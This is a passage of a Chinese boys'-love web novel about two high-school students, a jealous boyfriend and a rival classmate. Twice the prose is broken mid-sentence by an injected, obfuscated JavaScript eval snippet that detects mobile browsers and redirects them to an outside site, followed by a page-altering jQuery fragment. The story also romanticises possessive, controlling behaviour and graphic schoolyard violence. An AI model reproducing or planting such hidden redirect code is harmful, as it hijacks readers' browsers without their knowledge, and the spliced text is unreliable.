章婷南愣了愣,低头看了两秒,恍然大悟:“哦对!我怎么没想到……”她抬头冲梁言许笑了笑,“还是你家周原厉害。” “谁、谁他家的……”梁言许的耳朵又开始发烫,偷偷瞄了眼周原,对方已经转回头去写题,只是耳尖那点红藏不住。 章婷南促狭地眨了眨眼,没再纠缠,抱着卷子往走廊另一头挪了挪:“那我去那边写了,不打扰你们小情侣补作业。” 人一走,周原的笔就停了。他侧过头,视线落在梁言许脸上,没说话,但那眼神明晃晃写着“刚才她靠你太近了”。 梁言许心里有点甜,故意逗他:“你刚才讲题好快啊,比我厉害。” 周原没接茬,只是伸手把他耳边的一缕头发别到耳后,指尖带着点凉意:“她问你,你就打算扔下我过去?” “怎么会。”梁言许往他身边挤了挤,肩膀抵着肩膀,“我作业还没抄完呢,要陪你一起罚站。” 周原的嘴角几不可查地翘了下,重新拿起笔:“算你识相。” 笔尖再次划过纸页,沙沙声里混着风拂过走廊的轻响。梁言许看着周原专注的侧脸,偷偷把自己的作业本往他那边推了推,心里盘算着等会儿补完作业,该怎么哄这位醋劲儿上来的男朋友——比如,把早饭里的溏心蛋分他一半。 走廊里的阳光渐渐爬到台阶中央,周原握着笔的手却慢了下来。 他写得极认真,一笔一划透着股较劲的意味,可刚落下最后一个标点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340959|183444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线就像被无形的线牵着,“唰”地飘到梁言许脸上。 梁言许正咬着笔杆算物理题,眉头微微蹙着,鼻尖因为低头太久沁出点薄汗。周原盯着他颤动的睫毛看了两秒,才像回过神似的,低下头继续写下一个单词。 没写两个字母,又忍不住抬眼。 这次梁言许刚好抬头,撞进他来不及收回的目光里,愣了愣:“怎么了?我脸上有东西?” 周原喉结动了动,摇摇头,指尖在纸上顿了顿,又低头写起来。可那视线像是长了脚,隔几秒就往梁言许那边跑——看他咬着笔杆发呆,看他翻作业本时指尖划过纸页,看他被风吹得往外套里缩了缩脖子。 梁言许终于后知后觉地笑了,用笔杆戳了戳他胳膊:“周原,你写作业呢还是看我呢?” 周原笔尖一顿,墨点在纸上晕开个小圈。他索性放下笔,坦坦荡荡地盯着梁言许,嘴角勾出点无奈的笑:“看你比较重要。” “明明是你自己刚才说要快点补完的。”梁言许被他看得有点不好意思,把脸往作业本后面藏了藏。 “那不一样。”周原倾过身,声音压得很低,带着点只有两人能懂的黏糊,“刚才章婷南跟你说话时,你笑得比看物理题开心多了。” 梁言许这才反应过来——这人哪是在看他,分明是在变相确认自己没被别人分走注意力。他故意板起脸:“那我现在笑一个给你看?” 说着真的弯起眼睛,露出两颗小小的虎牙。 周原的眼神软了下来,像被温水浸过的棉花。他伸手揉了揉梁言许的头发,没说话,重新拿起笔。这次落笔快了不少,只是写几个字,还是会忍不住抬眼瞥一下,像是要把梁言许此刻的样子,和作业本上的字迹一起,都刻进眼里。 阳光越爬越高,把两人的影子缩成小小的一团。梁言许写着题,忽然觉得耳边多了道温热的视线,不用回头也知道是谁。他偷偷弯了弯嘴角,笔尖在草稿纸上画了个小小的笑脸—— 反正被盯着的感觉,好像也不赖。 最后一道数学附加题的笔尖刚落下,预备铃就“叮铃铃”地响了。梁言许长舒一口气,把笔帽按好,抬头就撞见周原正盯着他手里的作业本,眼神里带着点“总算完事”的松弛。 “补完了?”周原伸手抽走他的练习册,飞快翻了两页,指尖在最后一道题的答案上顿了顿,“步骤写得比标准答案还啰嗦。” “怕老师看出来是抄的嘛。”梁言许伸手去抢,被周原反手握住手腕。他的掌心温温热热的,带着刚握过笔的薄茧,挠得梁言许心里有点痒。 走廊尽头传来脚步声,张老师抱着测验卷走过来,镜片后的目光扫过两人手里的作业本,没说话,只是朝教室门抬了抬下巴。 刚踏进教室,开学测验的卷子就发了下来。梁言许坐下时,发现自己桌洞里多了个温热的肉包,包装袋上还印着学校门口那家早餐店的logo。他转头看周原,对方正低头填姓名,嘴角藏着点笑,耳尖那点红还没褪尽。 沈江不知什么时候换了座位,坐在他们斜后方,此刻正用笔杆敲了敲梁言许的椅背,眼神在他和周原之间打了个转,嗤笑一声:“罚站还能蹭到早饭,梁言许你可以啊。” 周原握笔的手顿了顿,抬眼时目光凉丝丝的:“要抄答案吗?我这儿有去年的真题。” 沈江的脸僵了一下,没再接话。 梁言许咬着肉包,偷偷往周原那边挪了挪凳子。卷子上的题目看着眼熟,大多是昨晚没写完的作业里见过的题型。他笔尖不停,余光里却全是周原的影子——看他皱眉思考时会轻轻咬着下唇,看他写累了会抬手揉一揉太阳穴,看他忽然侧过头,用口型对自己说“加油”。 考完最后一门,梁言许刚把卷子交上去,就被周原拽着往楼下跑。风从耳边呼啸而过,校服外套的下摆扫过膝盖,带着点痒。 “去哪啊?”梁言许被他拉着,脚步有点踉跄。 “去吃溏心蛋。”周原回头冲他笑,阳光落在他眼里,亮得像揉了把碎金,“说好的,请你。” 学校后街的早餐店还开着,老板娘把两碗热豆浆放在桌上,看着他们俩笑:“俩小伙子今天来得晚,溏心蛋就剩最后两个了。” 周原把自己碗里的蛋夹给梁言许,筷子碰到瓷碗时叮地响了一声:“给你。” “不是说分我一半吗?”梁言许挑眉,又把蛋推回去一半。蛋黄流出来,裹着酱油的香味,在白瓷碗里晕开小小的黄。 周原没再推,低头舀了勺豆浆,热气模糊了他的眉眼:“章婷南刚才发消息,说下午要抄你的化学笔记。” “哦,她化学确实不太好。”梁言许咬着蛋,没听出他话里的弦外之音。 周原抬眼时,眼神里又带了点那股子“醋劲儿”:“那我物理错题本借你抄,你是不是也得……” “也分你一半溏心蛋?”梁言许笑着打断他,把自己碗里剩下的半个蛋全夹给他,“给,都给你。谁让某人早上吃飞醋,耳朵红得像番茄。” 周原的耳尖果然又红了,低头猛喝了口豆浆,含糊不清地说:“谁吃醋了……” 窗外的阳光斜斜地照进来,落在两人交叠的手背上。 12. 谁的醋坛子 午休铃刚响,梁言许正被一道物理大题绊住,笔尖在草稿纸上反复画着受力分析图。周原把他的饭盒往桌上一放,声音带着点不容置疑的笃定:“去吃小炒,我让老板留了靠窗的位置。” 梁言许头也没抬:“不去,这道题快解出来了。”他伸手想去够桌角的橡皮,指尖刚碰到,旁边突然伸过来一只手,帮他把橡皮推了过来。 “喏,给你。”是同班的男生,手里还拿着本化学错题集,“刚想请教你道题——” 话没说完,男生就感觉一道目光像冰锥似的扎过来。他下意识抬头,正对上周原看过来的眼神,那眼神冷得像腊月的风,死死盯着他刚才碰过橡皮的手。他手一抖,错题集“啪”地掉在地上,说了句“我先不打扰了”,几乎是落荒而逃。 梁言许皱眉:“你又吓他。” 周原没说话,弯腰捡起掉的错题集,指尖在封面蹭了蹭,像是沾了什么脏东西。他把橡皮往梁言许手边推了推,自己则往梁言许身边挤了挤,几乎要贴在一起:“走了,吃饭。” 两人刚走到教室门口,(2)班的章婷南抱着一摞卷子走过来,看见梁言许眼睛一亮:“言许!帮我递一下讲台边的粉笔盒,我腾不出手。” 梁言许伸手去拿粉笔盒,指尖刚碰到盒边,章婷南的手指也搭了上来,两人指尖不经意碰了一下。章婷南刚想说“谢谢”,就看见周原的目光扫过来,那眼神冷得像结了冰的湖面,直勾勾盯着她碰过梁言许的手指。 章婷南手猛地一缩,卷子差点散了:“算、算了,我自己来就行!”抱着卷子匆匆跑了,跑的时候还差点撞到走廊的柱子。 梁言许无奈地看周原:“你至于吗?她就是借个东西。” 周原攥着梁言许的手腕往食堂走,力道捏得有点紧:“她碰到你了。” 食堂里人多,梁言许被挤得一个踉跄,下意识抓住旁边沈江的胳膊稳住身形。沈江挑眉笑了笑,刚想说“学神也有不稳的时候”,就对上了周原看过来的眼神。那眼神里的寒意几乎要把人冻住,像在看什么抢食的野狗,直勾勾盯着他被梁言许碰过的胳膊。 沈江嗤笑一声,故意往梁言许那边凑了凑:“怎么?碰一下你家宝贝学神,要吃人?” 周原没说话,只是伸手把梁言许往自己身后拽了拽,目光像淬了冰的刀子,一直黏在沈江胳膊上,直到沈江不自在地挪开步子,他才收回视线,却还是牢牢攥着梁言许的手,指腹几乎要嵌进对方的皮肉里。 打饭时,阿姨给梁言许递餐盘,手指不小心碰到了梁言许的手背。周原立刻伸手把餐盘接过来,指尖在梁言许手背上飞快地蹭了两下,像是要擦掉什么痕迹,然后抬眼看向阿姨,眼神里的冷意让阿姨愣了愣,半天没敢再说话。 找座位时,一个低年级的学弟不小心撞到梁言许,手忙脚乱地扶住他的胳膊道歉。周原的眼神瞬间冷了下来,盯着学弟的手看了足足半分钟,直到学弟吓得脸都白了,结结巴巴地说“对不起”,他才冷哼一声,拽着梁言许走开。 梁言许被他拽得胳膊发疼,终于忍不住停下:“周原!你到底要怎么样?” 周原低头看他,眼神里的冰碴子好像化了点,却带着点委屈的执拗:“他们都碰你。” “碰一下怎么了?”梁言许又气又笑,“同学之间碰一下很正常。” “不正常。”周原攥紧他的手,声音低得像在撒娇,“你是我的。” 周围的同学本来想过来跟梁言许讨论题,看这架势都识趣地绕开了。梁言许看着空荡荡的餐桌,再看看周原那副“谁碰跟谁急”的样子,突然觉得又好气又好笑。 他伸手捏了捏周原的脸:“行,我是你的。那现在能好好吃饭了吗?醋坛子。” 周原的耳尖红了红,没说话,却把自己碗里的鸡腿夹给梁言许,眼神软了下来,只是偶尔有人从旁边经过,目光扫过梁言许时,他还是会立刻绷紧下巴,眼神冷得像在警告。 梁言许叹了口气,低头扒饭。他知道,周原这醋劲儿一时半会儿是好不了了。以后大概没什么人敢跟他说话了——毕竟,谁也不想被周原那能冻死人的眼神盯上半天。 之后有一次吃午饭的时候一群黄毛将一个男生按倒在地对他拳打脚踢。 梁言许本来是不想理会的,可看那地上的男生实在不行了便拿起桌上的餐盘大步走向他们。 “啪!”砸在人头上的脆响像块冰投进滚油里,瞬间炸得食堂安静了半秒。 被打的黄毛捂着后脑勺直抽气,混着血的冷汗顺着额角往下淌。他那帮跟班跟被踩了尾巴的狗似的,瞬间停手围过来,眼神恶狠狠的像要吃人。 “你他妈活腻了?”黄毛揪着梁言许的校服领子往起拽,领口的扣子崩开两颗,露出里面白净的脖颈。食堂里的油烟味混着他嘴里的烟臭味扑过来,梁言许却没皱一下眉,反而仰着头笑,眼睛亮得像淬了火:“总比你们这群只会围殴的废物强。” “操!”黄毛的拳头带着风声挥过来,梁言许甚至能看清他指缝里的黑泥。可拳头在半空顿住了——周原不知什么时候攥住了他的手腕,指节因为用力泛白,像铁钳似的纹丝不动。 “放开他。”周原的声音比冰窖还冷,没等黄毛反应,已经反手掐住他的后颈,把人狠狠往旁边的餐桌上按。“咚”的一声闷响,餐盘里的剩菜汤溅了黄毛满脸,鼻梁撞在桌沿上,疼得他发出杀猪似的嚎叫。 “动他一根手指头,”周原的膝盖顶着黄毛的背,眼神冷得能冻裂石头,“今天就让你横着出食堂。” 旁边几个跟班抄起板凳要上来,沈江跟阵风似的刮过来,拳头直挺挺砸在最前面那人的颧骨上。“砰”的一声,那男生捂着脸倒下去,嘴里淌出带血的唾沫。“一群杂碎,也敢在老子学校撒野?”沈江甩了甩发麻的手,校服袖子卷到胳膊肘,露出小臂上暴起的青筋。 章婷南没往前冲,却站在人群最前面扬声喊:“我已经报政教处了!张主任带着保安在来的路上!”她声音清亮,每个字都像小石子砸在地上,那几个举着板凳的跟班果然手一抖,动作明显犹豫了。 被打的男生从地上爬起来,校服被撕得稀烂,额角的血糊了半张脸,却死死瞪着黄毛:“你们……你们勒索同学还敢动手!” 黄毛被周原按在桌上动弹不得,嘴里还在骂骂咧咧。周原眼神一沉,膝盖又往下压了压,听得见骨头摩擦的轻响。黄毛的惨叫突然变了调,带着哭腔求饶:“哥!我错了!放过我吧!” 周原没理他,转头看梁言许,眼神瞬间软了八度,甚至带着点后怕的慌:“没吓着吧?有没有被碰到?”他伸手拂过梁言许被拽皱的领子,指尖都在发颤。 “我没事。”梁言许抓住他的手,才发现周原的手心全是冷汗。他冲周原笑了笑,露出两颗小虎牙,“你来得正好。” 沈江踹了脚还想爬的跟班,走过来往梁言许旁边一站,瞥了眼周原按在黄毛背上的手:“行啊梁言许,平时看着软乎乎的,砸人倒挺准。”他顿了顿,又补充句,“下次记得喊人,别自己上。” 章婷南走过来,把一包干净的纸巾递给梁言许:“擦擦吧,刚才那下太险了。”她看了眼周原,又看了眼沈江,突然笑了,“没想到你们俩还挺有默契。” 周原这才松开黄毛,却顺势往梁言许身前站了站,几乎把人整个护在怀里,眼神扫过沈江时带着点警惕的锐利。沈江嗤笑一声,没跟他计较,转头去扶那个被打的男生:“能走吗?我带你去医务室。” 政教处的人来得比想象中快,张主任铁青着脸指挥保安把黄毛一伙人拖走,路过周原身边时顿了顿:“周原,沈江,还有梁言许,你们三个跟我来办公室一趟。” 周原捏了捏梁言许的手心,低声说:“别怕,有我。” 梁言许点点头,看着周原紧绷的侧脸,突然觉得刚才砸出去的那下餐盘,砸得一点都不亏。至少此刻,周原挡在他身前的背影,比任何时候都要挺拔可靠。 政教处 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沈江在旁边哼了声:“一群校外混子,早该整治了。” 张主任皱着眉翻记录:“陈亭安这学期已经被记过三次了,说是总跟社会闲散人员来往……” “他是被勒索的。”梁言许突然开口,声音不大却很坚定,“刚才他自己说了,对方一直逼他交钱。” 周原侧头看了他一眼,眼神里闪过点不易察觉的柔和,伸手在桌下轻轻碰了碰他的手背。 最后处理结果下来,黄毛一伙被记大过处分,全校通报批评。陈亭安因为“未能及时上报”,被警告一次。而梁言许他们三个,倒成了“制止校园暴力的积极分子”,张主任嘴上批评他们“冲动”,眼里却带着点赞许。 走出办公室时,沈江往梁言许肩上拍了一把:“行啊学神,够刚。” 周原立刻伸手把梁言许往自己这边拉了拉,不动声色地隔开两人的距离,眼神冷飕飕地扫过沈江的手。沈江挑眉笑了笑,没再说话,转身往操场走了。 章婷南在走廊尽头等他们,手里拿着瓶碘伏:“刚去医务室拿的,陈亭安已经处理过伤口了,让我谢谢你。”她把碘伏递给梁言许,眼神往周原身上溜了溜,“他还说……想跟你道个正式的谢。” 梁言许刚接过碘伏,就被周原抽走了。“放着吧,他用不上。”周原的语气听不出情绪,却把碘伏往自己口袋里一塞,拉着梁言许就走。 章婷南看着他们的背影,无奈地摇了摇头。 晚自习前,梁言许去水房打水,刚拧开水龙头,身后突然传来脚步声。他回头,看见陈亭安站在门口,额角贴着块纱布,手里攥着个皱巴巴的笔记本。 “那个……”陈亭安往前走了两步,声音有点发紧,“我把笔记整理了一下,里面有几道物理题的解题思路,可能对你有用。”他把笔记本往梁言许手里塞,指尖不小心碰到了梁言许的手背,像被烫到似的猛地缩回手。 梁言许刚想说“谢谢”,就听见身后传来周原的声音,冷得像结了冰:“需要帮忙吗?” 陈亭安吓了一跳,手里的笔记本“啪”地掉在地上。他抬头看见周原站在门口,眼神像淬了冰的刀子,正死死盯着他刚才碰过梁言许的手。 “没、没事!”陈亭安几乎是落荒而逃,跑的时候还差点撞到门框。 梁言许捡起笔记本,无奈地看周原:“你又这样。” 周原走过来,从他手里拿过笔记本,随手往旁边的垃圾桶里一丢。“不需要别人的东西。”他攥住梁言许的手腕往教室走,力道捏得有点紧,“你的物理题,我教你。” 梁言许被他拽着走,看着垃圾桶里那本皱巴巴的笔记本,突然觉得陈亭安刚才的眼神,像极了被雨淋湿的小狗。 但他低头看了看周原紧攥着自己的手,又忍不住笑了。 算了,自家这个醋坛子,大概是见不得任何人对自己示好的。 13. 报.恩 陈亭安的“谢礼”来得猝不及防。 第二天早自习,梁言许刚翻开数学卷子,就发现桌洞里多了个透明的玻璃花瓶,里面插着一束新鲜的白玫瑰,花瓣上还沾着露水。花瓶底下压着张纸条,字迹歪歪扭扭:“谢谢你,希望你喜欢。——陈亭安” 他刚把花瓶往桌洞深处塞了塞,周原就端着早餐走过来,目光精准地落在他沾了点玫瑰香的指尖上。“谁送的?”周原的声音平平的,却伸手把那束玫瑰抽出来,看都没看就扔进了教室后面的垃圾桶,动作干脆得像在丢废纸。 “陈亭安……”梁言许想解释,却被周原捏住手腕,指腹在他手背上反复蹭着,像是要擦掉那点花香。“以后别收他东西。”周原的眼神冷得像结了冰,“看见就扔。” 没过两天,梁言许的储物柜里又多了个纸袋,打开一看,是件印着动漫角色的卫衣,标签都没拆。陈亭安不知什么时候出现在走廊,远远地看着他,见他拿起卫衣,立刻红着脸低下头,手指紧张地绞着校服衣角。 梁言许刚把卫衣塞回纸袋,周原就从楼梯口走过来,直接拿起纸袋往陈亭安怀里一扔:“自己留着吧,他不需要。”陈亭安被砸得踉跄了一下,抬头想说话,对上周原那双冰窟窿似的眼睛,又把话咽了回去,抱着纸袋飞快地跑了。 “你干嘛啊……”梁言许皱眉。 “丑死了。”周原拽着他往教室走,语气硬邦邦的,“要穿卫衣,我给你买。” 最离谱的是上周,梁言许发现书包侧袋里多了个信封,打开一看,里面装着厚厚的一沓现金。陈亭安的纸条夹在里面:“听说你想买竞赛辅导书,这个你先用着。” 梁言许拿着信封去找陈亭安时,对方正在操场角落发呆,见他过来,眼睛瞬间亮起来,像藏了星星。“钱你拿着……”陈亭安的话没说完,就看见周原跟过来,直接把信封从梁言许手里抽走,甩在陈亭安脸上。 “我们不缺钱。”周原的声音冷得像淬了毒,“再敢送这些乱七八糟的,别怪我不客气。” 陈亭安被砸得眼眶发红,却没退,反而梗着脖子看着周原:“我就是想对他好!” “他有我对他好就够了。”周原把梁言许往自己身后拽了拽,眼神像要吃人,“离他远点。” 那天之后,陈亭安没再送东西,却变得更爱跟着梁言许。梁言许去图书馆,他就坐在斜对面的位置,假装看书,眼神却黏在梁言许身上;梁言许去打饭,他就排在后面,隔着几个人偷偷看他;甚至梁言许去厕所,回头都能看见他站在走廊尽头,像尊沉默的石像。 沈江路过时,拍了拍梁言许的肩膀,往陈亭安的方向努了努嘴:“你这桃花债,又多了一笔啊。” 梁言许叹了口气,转头看见周原正站在教室门口盯着陈亭安,那眼神冷得能把人冻成冰雕。他走过去,拽了拽周原的袖子:“别这么盯着人家。” 周原低头看他,眼神软了点,却还是愤愤不平:“他看你的眼神,跟饿狼似的。” “哪有……”梁言许被他逗笑了,“他就是想报恩吧。” “报恩需要天天盯着?”周原捏了捏他的脸,语气酸溜溜的,“我看他就是想抢人。” 梁言许刚想反驳,就看见陈亭安又往这边看过来,眼神里带着点怯生生的执拗,像只想靠近却又怕被赶走的小兽。他突然觉得有点无奈——左边是醋劲儿冲天的周原,右边是黏得甩不掉的陈亭安,再加上时不时来撩拨一下的沈江,这高三的日子,怎么比物理大题还复杂。 周原顺着他的目光看过去,脸色又沉了沉,伸手把梁言许的脸转过来对着自己:“不准看他。” “好好好,不看。”梁言许笑着点头,往他怀里靠了靠,“只看你总可以了吧。” 周原的耳尖红了红,却还是把他搂得更紧了点,眼神越过梁言许的头顶,恶狠狠地剜了陈亭安一眼。 初夏的风卷着栀子花的香扑进走廊,梁言许刚走出(1)班教室,就看见陈亭安抱着个纸箱子站在楼梯口,校服领口沾着点草屑,像是刚从花坛那边过来。 “言许。”陈亭安把箱子往他面前递了递,纸箱缝隙里露出点鹅黄色的花瓣,“我妈种的向日葵,开得正好,给你。”他说话时眼神直勾勾的,落在梁言许脸上就挪不开,耳尖红得像被晒透的番茄。 梁言许还没来得及开口,周原已经从后面走过来,伸手挡在他身前,指尖在纸箱上戳了戳:“我们教室不缺花。”话音刚落,就抓起纸箱往旁边的垃圾桶里一塞,动作干脆得让陈亭安的手僵在半空。 “你!”陈亭安的脸瞬间涨红,攥着衣角的手指泛白,“我辛辛苦苦搬来的……” “谁让你搬的?”周原瞥了他一眼,眼神冷得像刚从冰柜里捞出来,“他花粉过敏。” 梁言许在后面悄悄拽了拽周原的衣角——他根本不过敏。 陈亭安显然也不信,嘴唇动了动还想说什么,(2)班的章婷南抱着作业本经过,看见这阵仗,挑了挑眉:“哟,陈亭安,又给我们言许送东西啊?”她往梁言许身边凑了凑,故意提高了音量,“前几天那束白玫瑰我看见了,挺新鲜的,就是被某人扔得有点可惜。” 周原的眼神立刻扫过来,像带了冰碴子:“关你什么事?” “我就是觉得浪费呗。”章婷南笑得像只偷腥的猫,伸手拍了拍梁言许的胳膊,“言许,下节体育课自由活动,去打球不?沈江他们组了队,就缺个裁判。” 她的指尖刚碰到梁言许的袖子,周原已经伸手把梁言许往自己身后拽了拽,几乎是贴着他的耳朵说:“不去,你物理卷子最后两道大题还没搞懂。” 陈亭安还站在原地,看着梁言许被周原护在怀里的样子,眼神暗了暗,突然从口袋里摸出个小布袋往梁言许手里塞:“那这个给你,不是花,是我攒的钱,你买冰棍吃。”布袋里的硬币叮当作响,透着股孩子气的执拗。 周原的眉峰瞬间拧起来,正要伸手去抢,章婷南先一步按住了陈亭安的手:“我说陈亭安,你这追人的方式也太老套了吧?送花送钱,你当我们言许是小学生啊?”她转头冲梁言许眨眨眼,“要我说,不如请我们言许去吃后街的冰粉,加双份芋圆那种。” “我请!”陈亭安立刻接话,眼睛亮得像落了星星,“言许,你想去吗?放学后我等你。” “他没空。”周原直接打断,拽着梁言许就往操场走,脚步快得像在逃命,“体育课要迟到了。” 梁言许被他拽得踉跄了两步,回头看见陈亭安站在原地,手里还攥着那个硬币袋,望着他们的背影,像只被遗弃的小狗。章婷南在旁边拍了拍他的肩膀,不知道说了句什么,陈亭安的肩膀垮得更厉害了。 “你慢点……”梁言许喘着气拉住周原,“他也没什么恶意。” “没恶意?”周原停下脚步,低头看他,阳光把他的睫毛照得像镀了层金,眼神却酸溜溜的,“没恶意天天盯着你看?没恶意总往你手里塞东西?”他伸手捏了捏梁言许的脸颊,“你是我的,别人多看一眼都不行。” 梁言许被他捏得有点痒,忍不住笑出声:“好,我知道了。”他往周原怀里靠了靠,鼻尖蹭过他的校服领口,闻到淡淡的洗衣粉味混着阳光的味道,“我不去吃冰粉,也不要他的东西,就想跟你待着。” 周原的耳尖瞬间红了,刚才那点冷意跑得无影无踪,伸手把他搂得更紧了点,下巴抵着他的发顶闷笑:“这还差不多。” 操场上传来沈江的喊声,大概是在催他们。周原牵着梁言许往人群里走,路过花坛时,梁言许瞥见垃圾桶里的向日葵正探出头,鹅黄色的花瓣在风里轻轻晃,像在无声地叹气。 他偷偷往周原那边靠了靠,心里却有点哭笑不得——左边是步步紧逼的陈亭安,右边是看热闹不嫌事大的章婷南,身后还有个随时可能冒出来的沈江,再加上怀里这个醋劲儿冲天的周原,这个夏天,怕是不得安生了。 但被周原攥着的手心暖暖的,像揣了颗小太阳,梁言许忍不住弯了弯嘴角。 乱就乱点吧,反正他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340961|183444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道,周原总会把他护得严严实实的。 体育课的哨声刚响,沈江就抱着篮球冲过来,胳膊肘往梁言许肩上一搭:“来不来?三对三,缺个主力。” 他的手肘刚碰到布料,周原已经伸手把梁言许往旁边拉了半尺,自己挡在中间,眼神凉丝丝的:“他不去,要刷题。” “刷题哪有打球有意思。”沈江挑眉笑了笑,故意往梁言许那边挤了挤,“言许,别听他的,流汗比做题痛快多了。” 梁言许正想说“我确实想刷题”,口袋里的手机突然震了震。掏出来一看,是陈亭安发来的消息,就两个字:“等你。”后面还跟了个冰淇淋的表情。 他刚把手机塞回去,章婷南抱着瓶冰镇可乐走过来,往梁言许手里一塞:“刚买的,给你。”瓶身的水珠滴在梁言许手背上,凉得他缩了缩手指。 “谢谢,我不渴。”梁言许想把可乐还回去,周原已经伸手接了过去,拧开瓶盖往自己嘴里灌了两口,喉结滚动的弧度在阳光下格外清晰。“他胃不好,喝不了冰的。”周原把空了小半的可乐往章婷南怀里一塞,语气听不出情绪。 章婷南“啧”了一声:“周原,你这占有欲也太强了吧?喝口可乐都管。” 沈江在旁边嗤笑:“他恨不得给梁言许装个金钟罩。” 正说着,操场入口处传来一阵骚动。梁言许抬头,看见陈亭安提着个保温袋站在栏杆外,校服拉链拉得歪歪扭扭,手里还举着个牌子,上面用马克笔写着:“言许,冰粉在等你。”字迹被风吹得有点歪,却看得人一目了然。 周围立刻响起一阵哄笑,有人吹着口哨喊:“陈亭安,够痴情啊!” 梁言许的脸瞬间烧起来,恨不得找个地缝钻进去。周原的脸色彻底沉了下来,抓着他的手腕就往教学楼走,力道大得几乎要捏碎骨头。“回去刷题。”他的声音硬邦邦的,每个字都像从牙缝里挤出来的。 “哎,别走啊!”沈江在后面喊,却被周原回头一个眼刀瞪了回去,悻悻地闭了嘴。 章婷南看着他们的背影,又看了看栏杆外手足无措的陈亭安,突然觉得有点好笑——这梁言许身边,怎么跟开了场争夺战似的。 教学楼的楼梯间里,周原把梁言许按在墙上,胸口剧烈起伏着,眼神里的风暴几乎要溢出来。“他到底想干什么?”周原的声音发紧,指尖掐着梁言许的肩膀,“非要把你绑在他身上才甘心?” “他就是……”梁言许想解释,却被周原捏住下巴,强迫他抬头看着自己。 “不准理他。”周原的呼吸喷在他脸上,带着点可乐的甜味,“也不准理沈江,不准理章婷南,不准看任何人。” 梁言许被他逗笑了,伸手抚平他皱紧的眉头 周原的喉结滚了滚,突然低头吻住他。楼梯间里的风带着栀子花的香涌进来,吹得梁言许的刘海轻轻晃动。周原的吻又急又狠,带着点不容错辨的占有欲,直到梁言许喘不过气来,才抵着他的额头闷闷地说:“只能看我。” 梁言许的耳朵红得发烫,把脸埋进他颈窝 楼下传来陈亭安的喊声,大概是在叫他的名字,声音里带着点委屈的执拗。周原的眼神又冷了下来,抱着梁言许往楼上走:“别听。” 教室的门被“砰”地撞上,隔绝了外面的声音。周原把梁言许按在课桌上,从书包里翻出物理卷子:“做题。” 梁言许看着他紧绷的侧脸,突然觉得这阵仗有点熟悉——就像每次考试前,周原非要盯着他刷完一套卷子才肯让他休息一样。他拿起笔,笔尖刚落在纸上,就听见周原闷闷地说:“放学后我带你去吃冰粉,加三份芋圆。” 梁言许忍不住笑出声:“好啊。” 窗外的阳光斜斜地照进来,落在两人交叠的手背上。楼下的喊声渐渐远了,教室里只剩下笔尖划过纸张的沙沙声,还有少年藏在草稿纸背面,悄悄画下的两个紧紧靠在一起的小人。 反正这场争夺战,周原早就赢了——梁言许的草稿纸里,藏着的全是他的名字。